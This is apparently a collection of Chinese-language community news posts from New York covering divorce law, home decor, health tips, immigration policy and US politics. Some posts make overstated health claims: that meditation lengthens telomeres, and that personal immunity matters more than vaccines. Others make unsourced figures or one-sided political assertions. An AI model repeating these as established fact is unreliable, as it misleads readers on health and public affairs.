要寻找那些代理过类似案件的律师。比如,如果涉及激烈冲突的监护权,或者涉及大量资产的分配,就要找有这种专长的律师。可查看律师的继续教育资历和专业证书,可由此了解他们是否具备相关能力。

对于不是很精通英语的华人而言,选择律师时,最好不要和你有语言障碍,以免造成误解。因此,选择华语律师,会给双方合作带来很多便利。

4,注意不同风格的离婚律师,确定你最需要的类型

律师的做事风格也是要考虑的因素。

有些律师展现出一种进取风格,有的则强调沟通和解决问题的能力,有的律师富有同情心,能够从情感上给与当事人很大的支持,有的律师给人感觉缺少人情味,但可能很专注于某个领域。

有的律师承诺你,让你得到你想要的一切,这时候就要非常小心。因为,从长远看,那种一味好斗,不懂妥协的处理方式往往会导致很多难题,最后把案子弄得更复杂、更昂贵,还会更深的伤害双方的感情。离婚是解决已经存在的分歧,而不是去挑起更多的争斗。

如果你和配偶想和解,经济而快速的解决离婚问题,就要避免选择那种喜爱顶牛、不懂让步的律师。有些律师持有合作律师证书,他们致力于解决案子,而不是去钻法律的空子,他们可能更适合你。

5,离婚律师要有足够的时间和精力来处理你的问题

你不可能是你律师的唯一客户,他可能还忙于其它案件,但即使如此,一个好律师也不会以此为借口,来解释忘记了回复你的来电或邮件。

好的律师即使不能及时回复你的电话,但最起码发一个留言或者一个简单的邮件,可以让你知道什么时候会联系你。这样,有利于你计划当天的日程,不会陷于无法确定的焦虑之中。

如果律师只是在忙别的案子,而没有时间谈你的案子,那可能意味著这个律师更关注你的钱包,而不是你的真正利益。

有的律师有经验丰富的法律助理、律师助理和辅助律师来协助他工作。这样,一些辅助文件或程序的处理,就可以交给助理去做,帮律师留下更多时间去沟通、思考、应对那些关键的问题,也可避免服务的不周。

因此,选择一个律师团队,还是选择一对一的律师服务,也会产生不同的体验。一般来说,选择团队,你就无法获得你想要的那种个性化的服务体验;如果选择那种提供个性化服务的律师,他可能很忙,有时不能立即接你的电话,缺少那种律师团队特有的强大保障能力。

每种类型,各有优缺点。根据自己的需要,权衡利弊,最终确定合适自己的律师。

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2021-03-28 / by / in , ,
迎接春季的5种美丽卧室设计

文|光影瞬间

漫长而寒冷的冬季即将结束,迎向春天之际,再多给卧室装饰一点爱都不为过,让家人有不同的居住环境。在Instagram有不少令人向往、憧憬的装饰,找出几个范例,依样画葫芦,我们也能一样住在样板屋。以下是地产网站realtor.com精选的几款卧室设计,看看哪些有你喜爱的。

无论您是要对空间进行一些大的更改,还是只是对空间进行一些小的更改,心中势必先有一个蓝图,这些出色的设计,将提供你一个方向:

1. 锻造床

 

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Michelle(@thecozyfarmhouse)分享的貼文

黑色锻铁不仅适合维多利亚时代的人们,在现代卧室中仍大放异彩。锻铁使您的房屋具有真正的复古魅力。它的黑色有助于各种室内设计主题融为一体。即使是重金属制成,锻铁家具的手感也较轻,条状的组件使得光线不会受阻,并让空间看起更开放。图片中这款Barbera矮型床可现代化您的卧室,并为您创造宽松的卧室感。

2. 芥末酱毯子

 

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Cozy Home Shots(@cozyhomeshots)分享的貼文


如果您想要一项有趣而丰富多彩的更改,而又不需要那么多的改变,那么您可能可以试试在卧室加入芥末黄颜色。你或许或感觉有点难想像,但看一下图片,这件床上的新西兰绵羊毛毯就是一种芥末酱的颜色,其实很好搭配。

随着人们对全白外观和无聊的淡淡中性色的厌倦,土黄色正变得越来越流行。芥末黄是一种受欢迎的选择,因为它既体现了大地色的趋势,又使人看上去清新而振奋,这个颜色也很容易与带有黄色底色的木料很好地融合。(歡迎尋找:纽约室内装修)

3. 衣橱

 

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✨ S A R A H ✨(@haighyshomeinyorkshire)分享的貼文


我们始终都需要更多的存储空间,尤其是衣橱,一年到头都有理由再满一件裤子、上衣。额外添加的衣橱在旧房,以及需要更多空间的公寓或房屋中非常受欢迎,并不是每个卧室都配有壁橱,因此,额外购买的衣橱除了增加收纳衣物的功能,您还可以通过将衣橱涂成与墙壁相同的是不同的顏色,来获得意外搭配的外观。

就如这款简单而优雅的霍华德衣橱,然后把墙壁油漆成适合您的卧室的颜色,或是选择一款与您卧室相得益彰的衣橱。(歡迎尋找:纽约室内装修)

4. 书柜床头板

 

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A&D Vanessa Faivre(@advanessafaivre)分享的貼文


越来越少的出差机会和更多的时间花在家里,在卧室里创造一个个人空间非常重要,尤其在睡觉之前看一本书,会比盯着手机看更好。打造一个有书柜功能的床头板,会是一个很棒的点子,计有额外收纳空间,又能随手拿到一本书。当然既然要看书,灯光的配置也要适当,不足的灯光将有害眼睛阅读。

5. 梦幻的大自然印花

 

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Boho by Deco 🌾(@boho.by.deco)分享的貼文


说到卧室的绿洲,这些自然界里的图案最能让我们感到一种舒心。自然图片现在很受到欢迎,您能将户外带入户外,如果搭配得宜,会看起更漂亮。例如图片中的潘帕斯草(Pampas grass)近来风靡一时,因为它具有中性色和美丽的质地。由于现代人有众多过敏原,将某种植物或动物带入家中,不一定适合,但通过图片、照片会是一个迅速改变室内的好选择,如果再上适当的装潢就会更耳目一新。

如果对以上装修有兴趣,可联络
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服务热线:929-408-3857
鑫创装修公司/纽约室内装修设计/高档室内装修

2021-03-28 / by / in , , , ,
专家:打坐给人体带来神奇改变 增强免疫力抗病毒 改善睡眠 提高注意力

文| David Wei

科学家研究发现,打坐可以给人体带来神奇的改变,能改善大脑功能,减轻焦虑与压力,降低新陈代谢,同时强化免疫系统。
打坐是改善身体、训练大脑的有效方法

研究显示,人的神经有可塑性,我们可以训练大脑产生不同的反应,而打坐是最有效的训练方法之一。通过打坐,大脑中负责注意力和纾压的两个区域都会得到改善。

打坐帮助我们重新连接神经网络,让我们更加专注,减少分心,将注意力更好地转移到我们想要的位置。

不仅如此,打坐也使身体炎症好转。当人在生病的时候打坐,可以更有效地对抗疾病。

打坐还能使染色体末端的“保护帽”——端粒延长,“保护帽”越长,人就会越长寿;如果“保护帽”因年龄或创伤而缩减,人就可能出现早亡。所以打坐实际上就是在训练身体变得长寿。这些变化证实了打坐会让人延长寿命并更加健康。

打坐静心可以增强免疫力

目前科学家尚未完全了解静坐改变免疫系统的机制,但静坐能减轻压力,提升大脑功能,这会改善我们的想法和感觉,从而影响脑部发送给身体和免疫系统的化学信号。

当我们遭受压力,或陷入负面思想和情绪时,身体会进入求生模式,这时免疫系统就会停滞,人就容易生病。如果我们能自我舒缓压力、调节情绪,身体就会把能量投入免疫系统,从而增强抵抗力。

研究发现,静坐可以增强前额叶皮层、右前岛和右海马的活性,这些都是脑部的免疫系统指挥中心,因此静坐可以增强脑部与免疫系统的通讯,使其功能更强大。

睡前打坐可大幅提升睡眠质量

美国加利福尼亚大学洛杉矶分校(UCLA)曾经做过一项研究发现,打坐能够帮助大大提升睡眠质量。

据加州KPCC报导,科学家们找来49名55岁以上睡眠有困难的成年人参与实验。其中一半进行了一个6周的睡眠教育课程,包括睡眠习惯、放松方式和建立固定的睡眠时间。

另一半则进行一个打坐冥想课程,训练人们了解他们的思想和情感,避免对它们(思想和情感)做出反应或者被它们分心,而这正是人们在失眠状态时普遍出现的问题。

研究表明,加入打坐冥想组的人比参加睡眠教育课程的人,有著更好的睡眠质量并且较少失眠,其作用大约相当于诊所的睡眠理疗和安眠药的作用,但没有药品所产生的负作用。

研究者建议,对失眠者来说,打坐是个很好的治疗方法,至少在短期内。而打坐带给人睡眠的长期益处尚有待研究。

2021-03-25 / by / in , ,
纽约州:协议离婚,最简单的离婚方式,每一步该如何走?

文|他乡月更明

在美国离婚案件中,协议离婚,也叫无争议离婚,是代价最小、耗时最少、步骤也最为简单的一种离婚方式。采用这一方式的夫妻,往往仍然相互尊重,关心著对方,虽然彼此分离,但今后可能仍然是好朋友。

中华律师楼王雪洁律师 电话: 718-461-8461 纽约民事诉讼律师 纽约离婚律师 纽约移民入籍

因为双方对离婚案件没有争议,所以,只需5步,即可走成离婚程序。

第一步:首先要向县文员办公室提交传票通知(Summons With Notice),或者“传票和起诉书”(Summons and Complaint)

有些法庭,原告可通过网络,使用NYSCEF系统,即纽约州法庭的电子填报系统,上传文件。可检查每个县的电子申报列列表(County List)来查看是否可行。网址为https://iapps.courts.state.ny.us/nyscef/AuthorizeCaseType

提出离婚者为原告,配偶为被告。

每总案件均需要一个案件编号,案件编号申请费为$210。

如果经济特别困难,不通过财务援助,无力提出离婚,可申请法庭费用豁免,具体信息可咨询县书记员。

如果有和解协议,在申请离婚时应一并提交。

如果不知道配偶地址,可请求法庭书记员办公室提供替代方法。

如果婚姻超过6个月,无21岁以下子女,可使用无争议离婚程序。

 

第二步:被告(Defendant)必须被亲自告知离婚案件

这一步,需通过向被告个人送达“传票通知”或者“传票与诉讼”及其它文件,来证明完成了法定的程序。这一程序称为“送达”。

如果不知道配偶地址,可请法庭书记员提供替代送达程序的办法。

原告向法庭书记员提交传票通知后,有120天时限来完成送交被告的程序。

还需要强调一点,原告绝对不允许亲自直接把传票通知送达被告,而是必须由其他年满18岁以上的人去完成送达。

把传票通知送达给被告的人,必须签署送达宣誓,证明其以正确的方式,把文件交给了被告。

第三步:被告答辩

被告接到通知后,可采用以下三种方式之一作为答辩。

1,被告应诉(Answer)。这意味著被告向高等法庭和原告提出应诉(answer)。离婚变成有争议离婚。此时,就需要咨询律师介入争议。

2,被告签署宣誓书,这是被告同意离婚的文件表格,其没有就离婚传票中所列的任何事项,提出任何争议。

3,还有一种回应方式是,被告没有任何回应,这意味著被告违约。

第四步:计入法庭日程安排,等待法官审阅

如果被告签署被告宣誓书(Affidavit of Defendant)或违约,接著需要完成无争议离婚案件的下一步,把案件计入法庭的日程安排:

1)根据每个县情况的不同,把离婚文件提交先书记员办公室或者高等法庭书记员办公室。

2)如果被告违约,从被告被送达之日起40天后,原告把余下的文件提交给县书记员。

3)如果被告签署了被告宣誓书,其余的文件可立即提交给县书记员。

4)提交费用总计$125。

5)如果在送达通知中,不涉及21岁以下子女,或离婚的理由是双方关系破裂无可挽回,原告可以使用无争议离婚程序,自己制作余下的文件。

第五步:法庭判决

法官如果批准离婚,将签署一份离婚判决书,并给被告一份已签署的副本。

根据各县情况的不同,判决可通过邮寄的方式,也可以自己前往领取。

判决必须交到县书记员办公室。这一步可能必不可少,可向高等法庭确认。

被告必须被送达一份判决书的副本,并完成送达宣誓书。

2021-03-24 / 1 Comment / by / in , , , ,
免疫力更关键 研究发现新冠疫苗起效果 免疫系统必须更强壮

文|David Wei

面对全球新冠疫情流行,许多民众把希望都寄托在疫苗上。很多人以为注射了疫苗之后,就万无一失了,因此不注意防护。最新研究发现,疫苗对变种病毒的效力明显降低,因此,提升自身的免疫力更关键。

近期在《自然》期刊发表的文章,研究员从数十名施打完疫苗的参与者身上取得血液样本,包括接种了两剂辉瑞疫苗28天后,以及接种完两剂莫德纳疫苗43天后的人。研究人员利用这些血液样本在一般病毒和变种病毒上做测试,观察抗体对病毒的中和反应。

研究结果发现,两款疫苗对于英国变种病毒的中和反应都没有太大变化,但是在对付南非变种病毒的时候,莫德纳疫苗的效力下降了12.4倍,辉瑞疫苗则下降了10.3倍。

病毒学专家分析,变种病毒更有免疫逃避功能,也就是说,它改变了“脸部特征”,借此逃避疫苗和人体免疫系统,不让抗体认出来。这样一来,按照旧病毒制造的疫苗,所激发的抗体,就很难识别出变种病毒。

要想让疫苗起到足够的效果,必须人的免疫系统足够强壮。

这也解释了一些人群接种疫苗之后,为何效力欠佳。比如,那些慢性病人、老年人,一般身体免疫力弱,打了疫苗后,产生的效力不如健康的人、年轻人所产生的效力。

所以,抵御新冠病毒,除疫苗外,自身的免疫力还起著决定作用。

2021-03-24 / by / in , ,
恼人的口臭!了解口臭三大原因,四大预防方法

文|雨荷

口臭令人烦恼和尴尬,不但影响心情,还影响你的好人缘。不是吗?有时候,一旦有了口臭,甚至好朋友靠近你时,都会禁不住屏住呼吸,紧锁眉头。

难道北极熊也有口干舌燥的问题吗? (图为网友创作,如有侵权请告知)

口臭非常普遍,在美国,有一半人 有过口臭 ,各个年龄层都可能遇到。而且,大部分人不知道自己有口臭。到底时什么导致口臭,又该如何预防口臭呢?

口臭的三大原因

导致口臭的一大“帮凶”,是含硫化合物。其产生于口腔里面的病菌,闻起来有点象硫磺的气味。如果牙齿没刷干净,或者有蛀牙,或者是有牙周病,导致食物残渣积累,在牙槽中产生病菌、牙菌斑、牙结石,这些东西在嘴巴里面慢慢累积,都会产生口臭。

每天清理舌苔,保持口腔干净。 (Pexels免费版权)

口臭的还与舌头有关。舌头表面的舌苔是不规则的,有很多小突起。口腔内的细菌和一些老化的细胞,就累积在舌苔上。对著镜子,观察尽力伸出的舌头,如果能看到上面有一层白白或者是黄黄的东西,就是那些细菌、老化细胞和食物残渣等积累在上面。

因此,如果你的口臭和舌头有关,那你单单在牙齿上下功夫,每日刷牙、做牙线、甚至抽空去洗牙,就解决不了口臭的根本问题。

口臭还与人们吃的食物有关

爱吃蒜头、洋葱人更要小心口臭问题。 (图为网友创作,如有侵权请告知)

有人喜欢吃气味很重的大蒜或洋葱,更甚者垂涎榴莲的刺激口感。如果你长期大量的吃这类食物,口腔中的味道一时就难以散去。因此,那些长期吃大蒜和洋葱的人,就会一直存在口臭问题。

如何测试口臭?

据专家介绍,牙医测试口臭的非法时:先让你深呼吸一口,然后吐出来。牙医根据你口腔里吐出来的气味,来判断你是不是有口臭。这是现在牙医普遍都在用的一个方法。
再一个方法就是检查舌苔。医生用按压的方式,用工具刮你舌苔的表面。如果挂出来的东西发黄,或者有味道,就会诊断为有口臭。

请牙医师为你检查是否有口臭,尽管有些尴尬,却是有效的方式。 (图为网友创作,如有侵权请告知)

预防口臭的四种办法,让口臭由内而外,一扫而空

第一,定期洗牙,做好牙齿的清洁,确保牙齿健康,没有牙龈发炎或者牙周病。如果是牙周病,就需要做深层清洗,每隔半年洗一次牙齿,口臭问题就会改善很多。

第二是清洁舌苔。有些人清洁舌苔,未清理到舌头后面,而舌后舌苔的清理,才是最主要的,也是导致口臭的细菌聚集最多的地方。

清洁舌苔,可用电动牙刷。有的电动牙刷很好,带有专门洁舌苔的部分。也可以直接用一般的牙刷清洁舌苔。

清洁的方法是:一定要从舌头后面,即舌根处开始。如果没刷到那儿,效果就不好。从后面开始,然后往前刷,重复动作,前后都要刷到。

上面的方法如果不能有效的清洁舌苔,还可以买那种专门清洁舌苔的工具。如果能有效的清除舌苔,就会很有效的减少口臭问题。

第三,使用漱口水。如果吃了大蒜或洋葱等重口味的食品,接著又要开会,或者见客人,这时候用漱口水漱一下,可以暂时掩盖口臭的味道。

但漱口水只能暂时起缓解作用,不触及根本问题,几小时后,口臭又会出来。建议不要买酒精成分很高的漱口水。因为酒精成分太高,会导致口干舌燥,而口干舌燥又会产生口臭。因此,常喝水,多喝水,保持口腔湿润,也有助于预防口臭。

依照上面方式做好清洁,相信你一定人人爱。 (图为网友创作,如有侵权请告知)

第四,咀嚼无糖口香糖也是一个不错的办法。含有木糖醇成分的那种口香糖,有助于口腔内唾液的分泌,可防止口干,从而避免口臭。

2021-03-23 / by / in ,
每分钟,都有美国人离婚,婚姻数据统计,一文让你看尽美国人离婚整体状况

供稿者:他乡月更明

柏杨先生对婚姻有独到的见解。他认为:天下没有十全十美的男女,对待婚姻,眼睛要半睁半闭,否则,如果眼睛睁得太久,恐怕连上帝身上都能挑出毛病。但真正做到这一点,不是说说那么容易,那需要相当的涵养功夫。一般人做不到,离婚也就成为一种必然。

追求自由的美国人,在上世纪60-70年代,因受极左思潮影响,加上实行无过错离婚法,曾一度出现离婚率暴增,忙坏离婚律师的现象。但最近几十年,美国的离婚率整体呈现出下降趋势。

我们来看看美国与离婚有关的各类统计(多为2019年数据)。

1,美国人的离婚率实际在40-50%之间。每36秒出现1宗离婚案,每天离婚数2,400宗,每周为16,800,每年约为87,6000,说明有大约超过170万人离婚。

2,据美国人口普查消息,离婚率增长由再婚多少次有关,越是再婚,越可能离婚。首次婚姻,离婚率为41%;二次婚姻,离婚率为60%;第三次婚姻,离婚率为73%。

3,全美45个州离婚率2.9/1,000,不包括印第安纳州、加州、夏威夷州,新墨西哥州和明尼苏达州。2/3的离婚由女性提出。

4,70%在1990年代结婚的夫妇,15年后依然生活在一起。1970年代和80年代结婚的人,65%未离婚。

5,本世纪初期结婚,受过大学教育的人,11%在婚后第7年离婚;未接受大学教育的,17%在婚后第7年离婚。

6,美国的离婚率从1960年代开始一直增长,直到1990年代,开始出现下降趋势。逐年评估离婚数据,可看出美国离婚率普遍下降。

7,离婚率呈现季节性爆发。1月份和3月份申请离婚者最多。这难道与春天快到了有关么?也有研究认为,与节假日夫妻关系压力增加有关。

8,各州离婚率差异达。离婚率最低的州为伊利诺伊州和路易斯安那州,离婚率为1.9/1,000;离婚率最高的州是内华达州和俄克拉荷马州,离婚率分别为4.5/1,000和4.1/1,000。这两个州都以赌场和大麻闻名,俄克拉荷马州由8%的人口医用大麻登记者。

9,美国人的婚姻平均持续时间8.2年。但一些学者认为实际婚姻持续时间可能接近7年,因为离婚一般还要花一年时间。纽约州婚姻维持时间最长,约为12.2年。

10,现在美国人的离婚率,低于10年前的美国人。过去10年,离婚率下降。成功的婚姻,比以前有增长,婚后有50-60%的可能性不会离婚。

11,全美25-29岁之间的成年人,离婚率为24/1,000;40-49岁之间,为21/1,000;50岁以上的人,离婚率为10/1,000。

12,18岁之前结婚的,10年后离婚率为48%,25岁后结婚的,离婚率为25%。20-25岁之间的,离婚有44-60%离婚的可能性。

13,银发族离婚率增加。1990年以来,全美50岁以上的人,离婚率几乎翻倍。65岁以上的,离婚率增长3倍,从过去的2/1,000,变为6/1,000。现在50岁以上的人比以前更可能离婚。

14,28-32岁之间结婚的人,离婚的可能性更小。可能那时候,他们更成熟,事业也更加稳定。

15,离婚好像有传染性。根据布朗大学一团队的研究,如果有朋友离婚,那么你离婚的可能性也会变大,有75%的可能性离婚。如果你朋友的朋友离婚了,你离婚的可能性增加33%。看来,对朋友的婚姻,还是知道的少一点为好。

16,1990年代,美国人结婚率为9.8/1000,现在为6.9/1,000。但因为现在有更多的人未办理结婚手续就一起生活,所以离婚率不能完全反映长期关系恶化的变化。

17,白人女性分居的,有91%会在3年内离婚,西班牙裔为77%,非裔美国人为67%。长期分居未计入离婚,因此,实际的婚姻破裂率,可能高于离婚率。

18,离婚率与教育水平有关。在2006-2010年首次结婚,有学士学位的女性,有78%预计婚姻可能持续至少20年。相反,那些同期结婚受过一些大学教育的女性,只有49%的人认为自己的婚姻能够维持20年;高中文凭及以下者,只有40%。但也有认为,这可能与年龄有关。文凭高的女性,结婚年龄往往偏大,人也更成熟。

20,千禧一代,离婚率偏低。1981-1998年代之间出生的人,离婚率比年长的人更低一些。但这可能与他们结婚年龄更迟一些有关,也可能因为他们中有更多的人选择同居。

21,同居影响离婚率。婚前未同居的夫妇,婚后20年内,离婚的可能性更小,首次婚姻者在前5年内离婚的可能性有20%;相比之下,同居的夫妇,5年内分居的可能性为49%。10年内,已婚夫妇离婚的可能性为33%,同居者则有62%的可能性分居。

22,据Institute for Divorce Financial Analysts研究,性格不合,是离婚的首要原因,占研究参与者理由的43%。不忠和金钱,对离婚也影响重大,分别占28%和23%。这三种原因是夫妇离婚的最常见理由。其它导致离婚的因素还有子女养育、药物上瘾、虐待等等。

 

 

2021-03-22 / by / in , ,
移民政策让无证农民工有福了,美墨边境危机未解,中美洲移民受政策鼓舞,持续涌向美墨边境

【金牌网讯】成千上万来自中美洲的移民,正在美墨边境等待进入美国,而本周众议院顺利通过两项移民法案,这是否会鼓舞更多的无证移民涌往美国?在本周激烈的较量之后,下周这一议题还将继续在两党之间引起对抗。

国土安全部部长马约卡斯(Alejandro Mayorkas)本周三在众议院小组作证后说,美国在南部边境追踪看到最近20年数量最多的移民。他说,美国需要最终修复移民系统,并解决中美洲几国移民的根本原因。

对于边境大量增加的非法移民,拜登政府启动了联邦紧急事务管理局(FEMA),协助处理未来90天移民人数上升的问题。

但边境危机,并未耽搁国会众议院以压倒性多数通过两项移民法案。

第一项法案为本周四众院通过的《美国梦与承诺法案》。此法案为幼年时被带入美国的230万无证移民提供了一条出路,使他们能够获得永久居民资格并最后获得公民身份;也为30万临时受保护者以及被延迟递解出境的受益人,提供获得公民身份的路径。新法案将提交参议院。

另一项法案为本周四通过的《农场劳工现代化法案》(Farm Workforce Modernization Act)。该法案为超过100万无合法身份的农业工人创建了一套系统,帮他们获得临时性身份,并有机会成为永久居民。这项法案也将改变现有的H-2A临时农业工人签证计划。

众议院多数党领袖霍耶( Steny Hoyer )本周四在评价这两项法案时对媒体表示:这几百万人每天屏住呼吸,生活在恐惧中,他们可能被递解到遥远的土地上,那里并不是他们的家。议员们要采取行动,帮助他们更容易地呼吸。

民主党的做法是否和美墨边境危机有关?除了对拜登政府的边境政策进行猛烈批评之外,德克萨斯州参议员John Cornyn 和Ted Cruz ,下周将带领参议院代表赴德克萨斯州和墨西哥边境考察,他们认为:拜登政府让那些试图非法进入美国境内的移民不会面临后果,加剧了边境的危机。

另外,众议院共和党众议员对民主党的移民计划也提出了反驳。

佛罗里达州共和党众议员萨拉萨尔(María Elvira Salazar)本周三在国会大厦的新闻发布会上提出了自己的移民计划。计划包括:增加边境安全资金,同时立即给“追梦人”合法身份,并提供永久合法化的途径。

她在草案中创制“尊严项目”,为通过犯罪背景调查的无证移民提供出路,让他们能够继续工作和交税,以得到更新的五年签证,保持合法地位。在完成“尊严项目”后,参与者有机会参加“赎回项目”,最终获得永久居民身份。

她说,在美国没有哪个政党能够垄断同情心,共和党人也有同情心,我们想把尊严给与那些生活在我们中间多年以及那些想来美国的人,但是他们必须遵守法律。

2021-03-21 / by / in , , , , , ,
移民担保条件放松,国土安全部撤下一拟议修改的规则,担保人资格和风险审查减小

【金牌网讯】为减少合法移民系统的障碍,不给那些希望资助移民来到美国的家庭,增加额外的负担,美国国土安全部昨日(3月19日)宣布撤除一项支持“宣誓证明”的建议规则。

去年10月份建议修改的规则,要求美国的美国公民、美国国民和绿卡持有者,在担保他人移民时,需提供过去三年的报税证明,个人银行信息及信用报告和分数。过去三年内领过福利的人资格受到限制,需要共同担保人。以前接受过公共福利,或没有履行合同规定的义务,都会影响担保资格。

拟议修改的宣誓程序,对担保人的收入证明和合同执行,要求提供更严格的依据。这增加了担保人的难度和风险,但有利于移民官员更好的做出决定:判断一个担保者是否有能力维持收入,达到或超过申请门槛;合同执行期间,担保人是否有能力维持对被担保人的生活支持。

撤除这项拟议中的政策,源于今年发布的总统行政令EO14012提出的要求,要恢复人们对合法移民系统的信心,增强美国对新移民的融合和包容。官员认为,撤除这一立法障碍,有助于移民更好的获得可用的政府服务。

据美国国民和移民局网站介绍,如果不撤除这些规则,其将在在今后10年内,给那些代表有意移民者来签署“支持宣誓”的美国公民、美国国民和永久居民带来大约24亿美元的沉重负担。

这项政策的改变,将为去美国留学、工作,以及位办理父母移民、兄弟移民等,提供更为宽松的条件。

 

2021-03-20 / by / in , , , , , ,
古风:起底全球最大的网络黑社会组织

古风:起底全球最大的网络黑社会组织

在网络世界,有一个专门危害网络安全与网络健康的群体,这个群体被网民称其为网上黑社会。他们当中有网络黑客、网络打手、网络枪手、网托、网络评论员(中共五毛)等。这些人的行为小到危害个人信息安全,大到危害国家安全。而在这些犯罪组织中,全球规模最大的组织是中共的网络水军。

无论在香港反送中运动,还是在武汉疫情、台湾大选、美国大选等国內外各种重大事件中,在各大社交媒体上都会出现大量的中共网络水军,他们就像非洲蝗虫一样,每时每刻都在危害着整个世界。

中国网络水军的发展轨迹

从各大搜索引擎的历史数据来看,自2004年开始,网上便开始出现一些商业性网络水军组织。通过网上数据分析,中国网络水军大致可分三个发展阶段:

1、2004年-2009年为中国网络水军的初始阶段。这个阶段,中国网络水军的业务主要以代人删帖、销售推广、代人维权为主。

2、2010年-2013年为中国网络水军的业务发展阶段。这个阶段的网络水军的业务范围开始升级。各大网络水军公司开始代理个人、企业、地方党政机关、事业单位的网络危机攻关。在这个阶段,网上开始出现“五毛党”(中共官方雇用的水军) 参与公共事件。

3、2014年-2021年为中国网络水军的业务转型阶段。2014年2月,中共正式成立,该机构下设办事机构中央网络安全和信息化领导小组办公室(简称“中央网信办”) 。其下设5个业务部门:网络评论。工作局、网络社会工作局、移动网络管理局、网络安全协调局、国际合作局。该机构的职责就是网络舆情监控、水军组织管理、网络攻关、大外宣及对外统战。

中央网信办成立后,便开始借网络严打之名,把民间各类松散性的黑客和网络水军公司加以整合。同时由团中央出面,在全国各大高校组织招聘了上千万大学生作为兼职水军,并由中央政法委出面在各大监狱组织上了百万在押犯人作为专职水军。如此一来,中国的水军就从游击队变成了中共的“正规军” 。

据中共内部人员透露,早在2017年年底,中共网信办旗下水军队伍的规模就超过了3000万人,之后每年都还在不断招聘,截止到2020年12月底,中共网信办旗下的水军队伍规模早已超过了4000万人。政府财政每年用于网上维稳(雇用水军)的投入高达5000亿人民币以上。

中共网络水军的组织形态

据中共内部人员介绍,中共对网络水军的组建与管理非常重视,从中央到地方,都设立了专门的水军管理机构。人员招聘、业务培训、任务分配、薪水发放、开会等都是在网上进行。水军人员大致由以下六类人员组成:在职团干、网络名人、在校大学生、网络公司员工、监狱犯人、在家失业者。水军的工资待遇是根据不同的分工而定,但工资分配都是以计件的方式为主。在水军中,工种很多,大致可分以下几类:水军召集人、技术人员(黑客)、撰稿人、网络评论员、舆情监督员等,而水军又分国内水军和国际水军两大类。

中国网民对五毛党深恶痛绝

对于中共每年耗巨资豢养几千万五毛党的行为,民众是敢怒而不敢言。在中国,各大门户网站在中共的授意下,任由五毛党压制网民正常的批评、制造虚假民意、掩盖中共各种犯罪事实、隐匿真实民意、破坏社会公序良俗、阿谀奉承“英明领袖” 、虚构国家繁荣假象、煽动民族仇恨、恶意制造它国谣言、对中共异议人士实施污名化、篡改历史真相、传播愚民信息等,每当网上出现中共主要领导人的文章时,其评论几都是五毛党的马屁帖。对于这些五毛党,中国网民是深恶痛,可中共当权者却视其为民意。

中共网络水军已成为国际毒瘤

在网络全球化的今天,中共的网络水军早已危及到世界各国的社会安全。在网络世界,中共的网络水军就像附骨之疽,到处在世界各地作奸犯科。如:网络黑客攻击它政府要害部门、科研机构、大型企业、院校的网站窃取各种信息资料;中共五毛党在网上恶意攻击谩骂它国领导和反共人士;中共网络名人在网上实施文化侵略等。总之,中共水军利用民主国家的言论自由到处作案。

早在十年前,美国就一直把中共的网络攻击列入中美两国外交的重要事项,可至今都无法得到改善,反而是愈演愈烈。

3月18日,拜登团队在阿拉斯加首次与中方进行高层对话,美国国务卿布林肯在会晤中共外交官杨洁篪和王毅时说:“我们此次将讨论令人深切关注的中国(中共)行为,包括在新疆、香港、台湾、对美国的网络攻击、对盟国的经济胁迫等主要內容。”

此次会议美国沒有把中国南海问题和中美两国贸易关税问题列入议程,而是将网络攻击当作此次会议的主要议题。可见,中共的网络水军对美国的危害有多大。

在美国的社交媒体上,中共的网络水军比蝗虫来袭都要可怕。

据美国全国公共广播电台(NPR)报道,2020 年 6 月 11 日,推特公司宣布删除属于中国(中共水军)的 23,750 个账户,这些帐户涉及疫情信息造假。

2020年9月22日,脸书公司关闭了一家来自中国的假账号网络(中共水军),该网络通过超过180个假账号、群组及专页“协调”干涉政治讨论。

2020年10月2日,美国总统特朗普被确诊感染了新冠病毒。当天,中共五毛党在推特、脸书等社交媒体就大量发布“希望特朗普死掉”的帖子。事后,推特和脸书都查出这些信息来自中国水军。

中共对网络黑社会既受又恨

中共既害怕网络黑社会,同时又离不开网络黑社会。在中国,公安部门每年都会开展各种形式的网络严打,对于一些有影响的网站、网络大V、黑客、民间网络水军都是从严打击,中共官媒几乎把网络黑社会说得十恶不赦。针对网络黑社会,中共最高人民法院、最高人民检察院、公安部、司法部还联合颁发了《关于办理利用信息网络实施黑恶势力犯罪刑事案件若干问题的意见》,简称《“网络黑社会”意见》)。

然而,中共为了巩固其统治地位,他们又完全不顾形象去专门组织网络黑社会。同样是网络黑社会,服务中共就是合法的,而服务其它对象就是非法的。可见,中共对网络黑社会既爱又恨。

2021-03-20 / by / in , ,
乔治亚州枪杀案 行凶者坦承作案动机 但有些媒体有些人硬是不承认其动机

【金牌网讯】本周二造成8人死亡的乔治亚州枪击案,在美国社会引起震动。虽然凶手已被确定了身份,他还对警方称,他的作案动机源于他想消除自己的性瘾。但一些舆论和政治势力,似乎刻意要把这起案件,和种族歧视联系起来,否认枪手承认的动机。

有一位消息人士告诉CNN,朗因为性瘾,被赶出房子。他的一位室友说,朗对自己的性瘾感到羞愧,他经常到按摩店寻春,以前还为此接受过治疗。
但警方的言论立即受到关注。批评者称,被害者中有6人是亚裔,警方忽略了行凶者种族歧视的动机。

在次日的新闻发布会上,警方曾披露,枪手朗(Robert Aaron Long)对他们说:他有性瘾,他把他盯上的那三家生意视为诱惑,他想摆脱诱惑。执法人员正在调查他的说法是否确实。

在8名受害者中,有两人为华裔,4人为韩裔。两位白人。还有一人头部遭受非致命枪击,仍在重症监护室救治。
Soon C. Park, 74岁
Hyun J. Grant, 51岁
Suncha Kim, 69岁
Yong A. Yue, 63岁
Delaina Yaun, 33岁
Xiaojie Tan, 49岁
Paul Andre Michels, 52岁
Daoyou Feng, 44岁

但美国左派媒体,比如,NPR的报道,直接把这起案件和种族歧视联系起来。称过去一年,对亚裔美国人和太平洋岛民的仇恨犯罪飙升,这些人所在的社区受到骚然和暴力的威胁。这些报道直接忽视了凶手对警方初次接触时,交代的直接动机。

拜登和哈里斯,也将在周五赶赴乔治亚州,会见该州的亚裔美国人领袖。

但推特上许多亚裔美国人,并不认同枪手的作案动机源于种族歧视。因为遇害者中也有两位白人。而且,美国人对其它族裔非常友好,不存在系统性的制度性的歧视。把公共治安案件往种族歧视上靠,是想挑起种族间的矛盾。

在美国生活28年的华人企业家楼新跃,2020年曾在美国人口普查办公室工作。他在接受大纪元时报采访时表示,他在美国生活28年,没有碰到过种族歧视,相反,把一个治安案件,硬往种族上扯,这本身才是种族歧视。

